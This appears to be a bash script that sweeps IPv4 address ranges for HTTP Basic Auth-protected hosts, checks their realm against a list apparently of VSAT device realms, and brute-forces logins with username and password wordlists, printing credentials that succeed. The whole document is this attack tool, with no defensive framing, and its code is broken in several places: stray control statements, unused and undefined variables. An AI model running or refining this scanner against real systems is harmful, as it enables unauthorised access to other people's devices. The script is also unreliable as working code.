asda

old="$IFS"
IFS='
'
set -f
for ((x = $1; x < 255; x++));
do
for ((y = $2; y < 255; y++));
do
for ((z = $3; z < 255; z++));
do
for ((f = $4; f < 255; f++));
do
class=$x.$y.$z.$f
parallel=40
echo "Parallels set to: $parallel"

status() { curl -s -S -w '%{http_code}' -o /dev/null "$class"; }

if [ "$(status)" = "401" ]; then
echo "[~] Ol good Bruteforce **** [X] Stage 1. Success. Target $class, HTTP Protected"
fi


echo "Realm on file: $h"

match() { curl -si "$class" | tr -d '\r' | sed -En 's/^WWW-Authenticate: (.*)/\1/p'; }

echo "$(match)"

if grep -Fx "$(match)" vsatrealm.lst; then echo "The realm is in the list"; fi
echo "[~] Ol' good Bruteforce **** [X] Stage 2. Matching Basic Realm patterns found."
fi
done;

for r in $(cat portlist.lst);
do
for a in $(cat username.lst);
do
for e in $(cat wordlist.lst);
do

brut() { curl -s -S --user "$a":"$e" http://"$class" | tr -d '\r' | sed -En 's/^Error: (.*)/\1/p'; }

if [ "$(brut)" = "401" ]; then
echo "[~] Ol' good Bruteforce **** [X] Stage 3. Cracking with username: $a password: $e on port: $r are wrong credentials"
elif [ "$(brut)" = "200" ];then
echo "[~] Ol' good Bruteforce **** [X] Stage 3. Success!! with username: $a password: $e on port: $r"
else echo "[~] Ol' good Bruteforce **** [X] Stage 3. Didn't get to bruteforce function."
fi

done;
wait;
done;
done;
done;
done;
done;
IFS=$OLDIFS
set +f